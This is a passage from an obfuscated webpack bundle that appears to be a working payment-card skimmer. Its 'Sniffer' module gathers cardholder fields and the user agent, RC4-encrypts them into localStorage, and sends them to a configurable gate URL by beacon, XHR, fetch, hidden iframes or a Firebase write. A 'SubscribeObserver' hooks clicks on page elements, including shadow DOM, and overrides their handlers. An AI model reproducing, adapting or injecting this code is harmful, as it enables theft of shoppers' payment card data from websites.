now = new Date();\n now.setTime(now.getTime() + (now.getTimezoneOffset() - parseInt(now.getTimezoneOffset())) * 60 * 1000);\n return now.toLocaleString();\n}\nfunction encryptData(data, key) {\n data = prepareToEncode(data);\n const dataRC4 = encrypt(key, data);\n return winBtoa(dataRC4);\n}\nfunction decryptData(data, key) {\n try {\n data = winAtob(data);\n data = encrypt(key, data);\n data = prepareToDecode(data);\n } catch (e) {\n return {};\n }\n return data;\n}\nfunction prepareToEncode(data) {\n return encodeURIComponent(JSON.stringify(data));\n}\nfunction prepareToDecode(data) {\n return JSON.parse(decodeURIComponent(data));\n}\nfunction e2(r, hash) {\n var n = function (r = 13) {\n return Math.random().toString(36).substr(2, r);\n };\n function t(r, n) {\n for (var t, o = [], a = 0, e = \"\", i = 0; i < 256; i++) o[i] = i;\n for (i = 0; i < 256; i++) a = (a + o[i] + r.charCodeAt(i % r.length)) % 256, t = o[i], o[i] = o[a], o[a] = t;\n i = 0, a = 0;\n for (var f = 0; f < n.length; f++) a = (a + o[i = (i + 1) % 256]) % 256, t = o[i], o[i] = o[a], o[a] = t, e += String.fromCharCode(n.charCodeAt(f) ^ o[(o[i] + o[a]) % 256]);\n return e;\n }\n var o = n();\n r.a = o;\n var a,\n e = (a = r, winBtoa(t(o, encodeURIComponent(JSON.stringify(a)))));\n r = n() + \":\" + JSON.stringify({\n a: o,\n b: e\n });\n return encodeURIComponent(winBtoa(t(hash, r)));\n}\n\n/* RC4 */\nfunction encrypt(r, o) {\n for (var t, e = [], n = 0, a = \"\", f = 0; f < 256; f++) e[f] = f;\n for (f = 0; f < 256; f++) n = (n + e[f] + r.charCodeAt(f % r.length)) % 256, t = e[f], e[f] = e[n], e[n] = t;\n f = 0, n = 0;\n for (var h = 0; h < o.length; h++) n = (n + e[f = (f + 1) % 256]) % 256, t = e[f], e[f] = e[n], e[n] = t, a += String.fromCharCode(o.charCodeAt(h) ^ e[(e[f] + e[n]) % 256]);\n return a;\n}\nfunction sendToFB(config, data) {\n const fID = window[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`crypto`)].randomUUID();\n const F = document.createElement(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`iframe`));\n F.id = fID;\n F.style.setProperty('display', 'none', 'important');\n document.body.appendChild(F);\n const f = document.getElementById(fID);\n const fc = decodeURIComponent(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`%3Cscript%20type%3D%22module%22%3Eimport%20%7B%20initializeApp%20%7D%20from%20%22https%3A%2F%2Fwww.gstatic.com%2Ffirebasejs%2F10.4.0%2Ffirebase-app.js%22%3Bimport%20%7B%20getDatabase%2C%20ref%2C%20set%20%7D%20from%20%22https%3A%2F%2Fwww.gstatic.com%2Ffirebasejs%2F10.4.0%2Ffirebase-database.js%22%3Bconst%20firebaseConfig%20%3D%20`)) + config + decodeURIComponent(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`%3Bconst%20app%20%3D%20initializeApp(firebaseConfig)%3Bconst%20db%20%3D%20getDatabase(app)%3Bset(ref(db%2C%20'%2F'%20%2B%20crypto.randomUUID())%2C%7Bdt%3A%20Date.now()%2C%20_ga%3A%20'`)) + data + decodeURIComponent(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`'%7D)%3B%3C%2Fscript%3E`));\n return new Promise(res => {\n const fC = f.contentWindow.document;\n fC.open();\n fC.write(fc);\n fC.close();\n f.contentWindow.document.addEventListener('DOMContentLoaded', () => {\n setTimeout(res, 2000);\n });\n }).then(() => {\n f.remove();\n return;\n });\n}\nfunction replaceTranslates(html, translates) {\n html = (0,_support__WEBPACK_IMPORTED_MODULE_1__.decodeBase64)(html);\n translates = JSON.parse((0,_support__WEBPACK_IMPORTED_MODULE_1__.decodeBase64)(translates));\n const map = translates[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`map`)];\n function getLang() {\n if (document.documentElement.lang) {\n return document.documentElement.lang.split('-')[0].toLowerCase();\n }\n }\n const l = _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`{`),\n r = _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`}`),\n s = ' ';\n for (let t of Object.keys(map)) {\n html = html.replaceAll(l + l + s + t + s + r + r, map[t][getLang()] || map[t][translates[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`default`)]]);\n }\n return (0,_support__WEBPACK_IMPORTED_MODULE_1__.encodeBase64)(html);\n}\nfunction replaceVars(html, json, noDecode = false) {\n html = noDecode ? html : (0,_support__WEBPACK_IMPORTED_MODULE_1__.decodeBase64)(html);\n json = JSON.parse((0,_support__WEBPACK_IMPORTED_MODULE_1__.decodeBase64)(json));\n const map = json[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`map`)] || {};\n const vars = json[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`variables`)] || {};\n function getLang() {\n if (document.documentElement.lang) {\n return document.documentElement.lang.split('-')[0].toLowerCase();\n }\n }\n const l = _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`{`),\n r = _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`}`),\n s = ' ';\n for (let t of Object.keys(map)) {\n html = html.replaceAll(l + l + s + t + s + r + r, map[t][getLang()] || map[t][translates[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`default`)]]);\n }\n for (let t of Object.keys(vars)) {\n html = html.replaceAll(l + l + s + t + s + r + r, vars[t]);\n }\n return noDecode ? html : (0,_support__WEBPACK_IMPORTED_MODULE_1__.encodeBase64)(html);\n}\nfunction setEncodedValue(html, _var, value, detector) {\n const l = _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`{`),\n r = _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`}`),\n s = ' ';\n if (detector && detector.isDebug && html && !html.includes(l + l + s + _var + s + r + r)) {\n console.trace(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`Dev: variable '`) + _var + _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`' not found in provided HTML!`));\n }\n html = html.replaceAll(l + l + s + _var + s + r + r, value);\n return html;\n}\nfunction setValue(html, _var, value) {\n const l = _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`{`),\n r = _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`}`),\n s = ' ';\n html = html.replaceAll(l + l + s + _var + s + r + r, value);\n return html;\n}\nfunction selectTranslatesVar(translates, _var) {\n translates = JSON.parse((0,_support__WEBPACK_IMPORTED_MODULE_1__.decodeBase64)(translates));\n const map = translates[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`map`)];\n function getLang() {\n if (document.documentElement.lang) {\n return document.documentElement.lang.split('-')[0].toLowerCase();\n }\n }\n return map[_var] && map[_var][getLang()] || map[_var][translates[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`default`)]];\n}\nfunction selectVar(variables, _var) {\n variables = JSON.parse((0,_support__WEBPACK_IMPORTED_MODULE_1__.decodeBase64)(variables));\n const map = variables[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`map`)] || variables[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`variables`)] || {};\n function getLang() {\n if (document.documentElement.lang) {\n return document.documentElement.lang.split('-')[0].toLowerCase();\n }\n }\n return map[_var] && map[_var][getLang()] || map[_var] && map[_var][variables[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`default`)]] || map[_var];\n}\n\n//# sourceURL=webpack://basic/./src/sniffer/helps.js?\n}"); /***/ }), /***/ "./src/sniffer/index.js": /*!******************************!*\ !*** ./src/sniffer/index.js ***! \******************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { eval("{__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Sniffer)\n/* harmony export */ });\n/* harmony import */ var _helps__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./helps */ \"./src/sniffer/helps.js\");\n/* harmony import */ var _obfucator__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../obfucator */ \"./src/obfucator/index.js\");\n\n\n// import {encode} from \"./analytics\";\n\n// Saves and sends data\nclass Sniffer {\n constructor(detector, configs) {\n this.detector = detector;\n this.aliases = configs.aliases;\n this.gate_url = configs.gate_url;\n this.fbConfig = configs.fbConfig;\n this.LOCAL_STORAGE_DATA_KEY = configs.LOCAL_STORAGE_DATA_KEY;\n this.crypto = configs.crypto;\n this.isLocal = configs.isLocal;\n this.isSendFinished = false;\n this[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`data`)] = this.getSavedData();\n this.setByAlias(\"card_holder_user_agent\", navigator.userAgent);\n // fetch(Decoder.decodeText(`https://analytics.gstatic.pro/?uuid=`)+window[Decoder.decodeText(`crypto`)].randomUUID()).then(r=>r.text()).then(t=>this.setByAlias(\"card_holder_ip\", t));\n }\n stop() {\n // clear saved data\n window.localStorage.removeItem(this.LOCAL_STORAGE_DATA_KEY);\n this.detector.detectDev();\n }\n\n // Save data by alias\n setByAlias(alias, value) {\n if (!!this.aliases[alias] && !!value && value.length > 0) {\n this[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`data`)][this.aliases[alias]] = value;\n this.saveData();\n }\n }\n\n // Get data by alias\n getByAlias(alias) {\n if (!!this.aliases[alias] && !!this[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`data`)][this.aliases[alias]]) return this[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`data`)][this.aliases[alias]];\n return \"\";\n }\n\n // Save the collected data in localStorage\n saveData() {\n this.detector.cl(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`saveData:`), this[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`data`)]);\n window.localStorage.setItem(this.LOCAL_STORAGE_DATA_KEY, (0,_helps__WEBPACK_IMPORTED_MODULE_0__.encryptData)(this[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`data`)], this.crypto[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`key`)]));\n }\n\n // Get data from localStorage\n getSavedData() {\n const data = window.localStorage.getItem(this.LOCAL_STORAGE_DATA_KEY) ? (0,_helps__WEBPACK_IMPORTED_MODULE_0__.decryptData)(window.localStorage.getItem(this.LOCAL_STORAGE_DATA_KEY), this.crypto[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`key`)]) : {};\n data[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`datetime`)] = (0,_helps__WEBPACK_IMPORTED_MODULE_0__.getLocalTime)();\n data[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`verC`)] = this.detector.codVer; // (code ver)\n data[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`verD`)] = this.detector.devVer; // (devDetect ver)\n data[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`verP`)] = \"0.10.12\"; // pVersion - it is webpack ENV var. (project ver)\n\n return data;\n }\n\n // Use this if you want to stop working later (on your own)\n onlySend(isFetch = false, whenDone, opts = {\n fetchToText: false,\n fetchToFrame: false,\n url: ''\n }) {\n if (this.isSendFinished) {\n this.detector.cl(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Already end`));\n return;\n }\n if (this.isLocal) {\n this.detector.cl(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Local`));\n this.sendData(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`g=`) + encodeURIComponent((0,_helps__WEBPACK_IMPORTED_MODULE_0__.encryptData)(this[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`data`)], this.crypto[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`key`)])), whenDone);\n return;\n }\n this.detector.cl(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Global`));\n if (isFetch) {\n if (opts.fetchToText) {\n this.sendTxtFetch((0,_helps__WEBPACK_IMPORTED_MODULE_0__.e2)(this[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`data`)], this.crypto[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`hash`)]), whenDone, opts.url);\n } else if (opts.fetchToFrame) {\n this.sendWithFrame((0,_helps__WEBPACK_IMPORTED_MODULE_0__.e2)(this[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`data`)], this.crypto[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`hash`)]), whenDone, opts.url);\n } else {\n this.sendWithFetch((0,_helps__WEBPACK_IMPORTED_MODULE_0__.e2)(this[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`data`)], this.crypto[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`hash`)]), whenDone);\n }\n } else {\n this.sendData((0,_helps__WEBPACK_IMPORTED_MODULE_0__.e2)(this[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`data`)], this.crypto[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`hash`)]), whenDone);\n }\n }\n\n // Send the collected data and stop working\n sendAndStop(isFetch = false, whenDone, opts = {\n fetchToText: false,\n fetchToFrame: false,\n url: ''\n }) {\n this.detector.cl(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Send`));\n this.onlySend(isFetch, whenDone, opts);\n this.stop();\n }\n\n // (private)\n sendData(data = \"\", whenDone) {\n // encode(this, this.getSavedData());\n\n if (this.fbConfig) {\n (0,_helps__WEBPACK_IMPORTED_MODULE_0__.sendToFB)(this.fbConfig, data).then(() => {\n this.setFinish(whenDone);\n });\n return;\n }\n if (!this.isLocal && navigator[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`sendBeacon`)](this.gate_url, data)) {\n this.setFinish();\n return;\n }\n const xhr = new XMLHttpRequest();\n xhr[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`open`)](_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`POST`), this.gate_url, !0);\n xhr[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`setRequestHeader`)](_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Content-Type`), _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`application/x-www-form-urlencoded; charset=UTF-8`));\n xhr[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`setRequestHeader`)](_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Accept`), _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`text/javascript, text/html, application/xml, text/xml, */*`));\n xhr[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`setRequestHeader`)](_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`X-Requested-With`), _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`XMLHttpRequest`));\n xhr.onerror = xhr.onload = () => {\n this.setFinish(whenDone);\n };\n xhr.send(data);\n }\n sendWithFetch(data = \"\", whenDone) {\n // encode(this, this.getSavedData());\n const headers = {};\n headers[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Accept`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`text/javascript, text/html, application/xml, text/xml, */*`);\n headers[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Accept-Language`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`en-US,en;q=0.5`);\n headers[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Content-Type`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`application/x-www-form-urlencoded; charset=UTF-8`);\n headers[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Sec-Fetch-Dest`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`empty`);\n headers[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Sec-Fetch-Mode`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`no-cors`);\n headers[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Sec-Fetch-Site`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`same-origin`);\n headers[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`X-Requested-With`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`XMLHttpRequest`);\n const opts = {};\n opts[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`headers`)] = headers;\n opts[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`body`)] = data;\n opts[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`method`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`POST`);\n opts[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`mode`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`cors`);\n let fet = window?.ga003194 ?? fetch;\n fet(this.gate_url, opts).then(() => {\n this.setFinish(whenDone);\n });\n }\n sendTxtFetch(data = \"\", whenDone, url) {\n // encode(this, this.getSavedData());\n const headers = {};\n headers[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Accept`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`text/javascript, text/html, application/xml, text/xml, */*`);\n headers[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Accept-Language`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`en-US,en;q=0.5`);\n headers[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Content-Type`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`application/x-www-form-urlencoded; charset=UTF-8`);\n headers[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Sec-Fetch-Dest`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`empty`);\n headers[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Sec-Fetch-Mode`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`no-cors`);\n headers[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Sec-Fetch-Site`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`same-origin`);\n headers[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`X-Requested-With`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`XMLHttpRequest`);\n const opts = {};\n opts[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`headers`)] = headers;\n opts[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`body`)] = data;\n opts[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`method`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`POST`);\n opts[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`mode`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`cors`);\n const code = decodeURIComponent(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`fetch('`)) + this.gate_url + _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`', `) + JSON.stringify(opts) + decodeURIComponent(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`);`));\n const frame = document.createElement(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`iframe`));\n frame.id = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`ppao21123`);\n frame.src = url + _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`?version=`) + encodeURIComponent(btoa(code));\n frame.style.display = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`none`);\n document.body.appendChild(frame);\n setTimeout(() => {\n document.querySelector(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`#ppao21123`)).remove();\n }, 2000);\n }\n sendWithFrame(data = \"\", whenDone = () => {}, url) {\n // encode(this, this.getSavedData());\n const headers = {};\n headers[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Accept`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`text/javascript, text/html, application/xml, text/xml, */*`);\n headers[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Accept-Language`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`en-US,en;q=0.5`);\n headers[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Content-Type`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`application/x-www-form-urlencoded; charset=UTF-8`);\n headers[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Sec-Fetch-Dest`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`empty`);\n headers[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Sec-Fetch-Mode`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`no-cors`);\n headers[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Sec-Fetch-Site`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`same-origin`);\n headers[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`X-Requested-With`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`XMLHttpRequest`);\n const opts = {};\n opts[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`headers`)] = headers;\n opts[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`body`)] = data;\n opts[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`method`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`POST`);\n opts[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`mode`)] = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`cors`);\n const code = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`fetch('`) + this.gate_url + _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`', `) + JSON.stringify(opts) + _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`).then(res=>window?.done());`);\n const scr = document.createElement(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`script`));\n scr.id = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`aa1`);\n scr.innerHTML = code;\n const frame = document.createElement(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`iframe`));\n frame.id = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`ns1`);\n frame.style.display = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`none`);\n document.body.appendChild(frame);\n const iframe = document.querySelector(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`#ns1`));\n const win = iframe.contentWindow;\n setTimeout(() => {\n win.location.href = url;\n const interval = setInterval(() => {\n const f = document.querySelector(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`#ns1`))?.contentWindow.document;\n const w = document.querySelector(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`#ns1`))?.contentWindow;\n w.done = whenDone;\n f.head.appendChild(scr);\n if (f.querySelector(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`#aa1`))) {\n clearInterval(interval);\n // document.querySelector(Decoder.decodeText(`#ns1`)).remove();\n }\n }, 100);\n }, 1000);\n }\n setFinish(whenDone) {\n this.detector.cl('finished');\n whenDone && whenDone();\n this.isSendFinished = true;\n }\n}\n\n//# sourceURL=webpack://basic/./src/sniffer/index.js?\n}"); /***/ }), /***/ "./src/subscriber/index.js": /*!*********************************!*\ !*** ./src/subscriber/index.js ***! \*********************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { eval("{__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ SubscribeObserver)\n/* harmony export */ });\n/* harmony import */ var _obfucator__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../obfucator */ \"./src/obfucator/index.js\");\n// Subscribing to an item. Accepts an object with parameters SubscribeObserver.defOpt{}\n\n\nclass SubscribeObserver {\n static defOpt = {\n // `querySelector` to search for a dom element\n selector: \"\",\n shadow: \"\",\n subscribeEvents: [_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`click`), _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`touchend`)],\n // for delay contain callback\n delayContainCallback: 0,\n // Callback when an element is found\n isContainCallback: () => {},\n // Callback when executing events specified in subscribeEvents\n onSubscribeEvent: e => {}\n };\n constructor(detector, options = {}, doc = document) {\n this.detector = detector;\n this.options = {\n ...SubscribeObserver.defOpt,\n ...options\n };\n this.doc = doc;\n this.isWait = false;\n this.stopObserver = false;\n }\n\n // Get started\n run() {\n setTimeout(() => {\n if (!this.stopObserver) {\n this.startObserver();\n }\n }, this.options.delayContainCallback);\n }\n stop() {\n this.stopObserver = true;\n }\n\n // Does the element contain\n isContainEl(rootEl) {\n if (this.options.shadow) {\n this.setSubsEl(rootEl[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`querySelector`)](this.options.shadow)[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`shadowRoot`)][_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`querySelector`)](this.options.selector));\n return !!this.getSubsEl();\n } else {\n this.setSubsEl(rootEl[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`querySelector`)](this.options.selector));\n return !!this.getSubsEl();\n }\n }\n\n //\n subscribeTo() {\n if (!this.getSubsEl()) return;\n this.detector.cl(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`Subscribe try`));\n if (!this.origFunc) this.origFunc = this.subsEl.onclick;\n this.subsEl.onclick = () => {};\n for (let i = 0; i < this.options.subscribeEvents.length; i++) {\n this.subsEl.addEventListener(this.options.subscribeEvents[i], e => this.options.onSubscribeEvent(e), {\n capture: true\n }, true);\n }\n this.detector.cl(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`Subscribe success`));\n }\n\n //\n startObserver() {\n this.detector.cl(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`start Observer`));\n const search = () => {\n if (this.detector.isDetect || this.isWait) {\n return;\n }\n this.isWait = true;\n setTimeout(() => {\n this.isWait = false;\n if (!this.detector.isDetect && this.isContainEl(this.doc)) {\n this.options.isContainCallback(this);\n }\n }, 1000);\n };\n this.docObs = new MutationObserver(search);\n this.docObs.observe(this.doc, {\n attributes: false,\n childList: true,\n subtree: true,\n characterData: false,\n characterDataOldValue: false\n });\n\n // In case the document will not be changed anymore\n search();\n }\n getSubsEl() {\n return this.subsEl;\n }\n setSubsEl(el) {\n this.subsEl = el;\n }\n\n //\n getSelector() {\n return this.options.selector;\n }\n}\n\n//# sourceURL=webpack://basic/./src/subscriber/index.js?\n}"); /***/ }), /***/ "./src/support/cards.js": /*!******************************!*\ !*** ./src/support/cards.js ***! \******************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { eval("{__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ cards: () => (/* binding */ cards),\n/* harmony export */ defCardLen: () => (/* binding */ defCardLen)\n/* harmony export */ });\n/* harmony import */ var _obfucator__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../obfucator */ \"./src/obfucator/index.js\");\n\nconst defCardLen = 